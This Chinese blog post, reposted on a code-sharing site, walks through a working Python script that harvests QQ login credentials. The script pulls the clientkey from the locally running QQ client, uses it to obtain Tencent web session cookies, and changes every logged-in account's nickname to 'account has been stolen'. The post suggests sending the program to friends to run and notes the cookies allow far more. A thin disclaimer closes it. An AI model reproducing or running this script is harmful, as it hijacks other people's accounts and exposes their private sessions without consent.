码迷,mamicode.com
首页 > 其他好文 > 详细

QQ大盗 - 巧用clientkey

时间:2018-05-25 23:31:08      阅读:252      评论:0      收藏:0      [点我收藏+]

标签:list   修改   https   import   back   使用   自我   bin   lib   

场景:

1.将程序发给好友,好友打开 qq昵称就会被秒改为”账号已被盗“。

2.将程序运行在自己的电脑,让那些随意借用电脑看片聊天的室友产生一个觉悟:乱使用别人电脑很可能会泄露隐私。

 

思路:

通过数据包模拟网页中的qq快速登录,拿到登录凭证(Cookie)修改qq昵称 实现账号被盗的假象。

1、local_token:

qq快速登录是基于qq的客户端实现的,qq客户端启动时会生成一个local_token(保存在本地的一个钥匙),通过local_token访问qq客户端的本地服务器(4301端口)可以获取到电脑上登录的所有qq账号。

2、clientkey:

仅仅知道qq账号肯定是无法登录的,还要拿clientkey。可以把clientkey理解成密码,qq客户端登录成功时会生成这个值,每个成功登录的账号都有自己的clientkey 相互匹配,只要拿到账号的clientkey就可以偷偷快速登录了。

3、cookies:

前面两步其实都是在本地网络下完成的,验证于qq客户端的本地服务器。现在提交uin+clientkey模拟快速登录是需要腾讯的远程服务器来验证的,验证通过就可以拿到登录凭证了(Cookies)。

4、ldw:

通过前几步我们已经拿到登录凭证了,可以为所欲为访问腾讯所有web端的服务了,现在我想修改账号的昵称。

我选择了通过qq个人中心的一个接口修改昵称,这个接口需要一个ldw值,并不复杂,一个get请求就能拿到。

 

实现:

以下使用python编程语言操作。

from urllib import request
from http import cookiejar
import json
import re

opener=None
cookie=None
local_token=None
json_uins=None

def modNick(index,nick):
    clientuin=json_uins[index][account]
    clientkey=None
    ldw=None

    #拿到clientkey
    url = https://localhost.ptlogin2.qq.com:4301/pt_get_st?clientuin=+clientuin+&callback=ptui_getst_CB&r=0.810010167110566&pt_local_tk= + local_token
    opener.open(url)
    for item in cookie:
        if (item.name == clientkey):
            clientkey = item.value
            break

    #登录
    url=https://ssl.ptlogin2.qq.com/qqid?pt_clientver=5563&pt_src=1&keyindex=9&sid=5&ptlang=2052&clientuin=+clientuin+&clientkey=+clientkey
    opener.open(url)

    #拿到ldw
    url="http://id.qq.com/cgi-bin/get_base_key?r=0.9431299830075388"
    opener.open(url)
    for item in cookie:
        if (item.name == ldw):
            ldw = item.value
            break

    #修改昵称
    url = http://id.qq.com/cgi-bin/userinfo_mod
    data = &n= + nick + &ldw= + ldw
    res = opener.open(url, bytes(data, utf-8))
    data = res.read()

if __name__==__main__:

    #opener初始化
    cookie=cookiejar.CookieJar()
    opener=request.build_opener(request.HTTPCookieProcessor(cookie))
    opener.addheaders = [(Referer,https://xui.ptlogin2.qq.com)]

    #拿到local_token
    url=https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=1006102&daid=1&style=23&hide_border=1&proxy_url=http%3A%2F%2Fid.qq.com%2Flogin%2Fproxy.html&s_url=http://id.qq.com/index.html
    opener.open(url)
    for item in cookie:
        if(item.name == pt_local_token):
            local_token=item.value
            break

    #拿到uins
    url=https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&r=0.21624413130736064&pt_local_tk=+local_token
    res=opener.open(url)
    json_uins=json.loads(re.compile(var var_sso_uin_list=(.*?);).findall(str(res.read(),utf-8))[0])

    #修改昵称
    for index in range(0,len(json_uins)):
        modNick(index, 帐号已被盗!)

最后说几句:

改个昵称啥的都是小事情,拿到Cookies可以做到的事情太多了。请以自我娱乐的意识去研究扩展,不要干扰影响他人网络环境。

 

QQ大盗 - 巧用clientkey

标签:list   修改   https   import   back   使用   自我   bin   lib   

原文地址:https://www.cnblogs.com/aucy/p/9090900.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!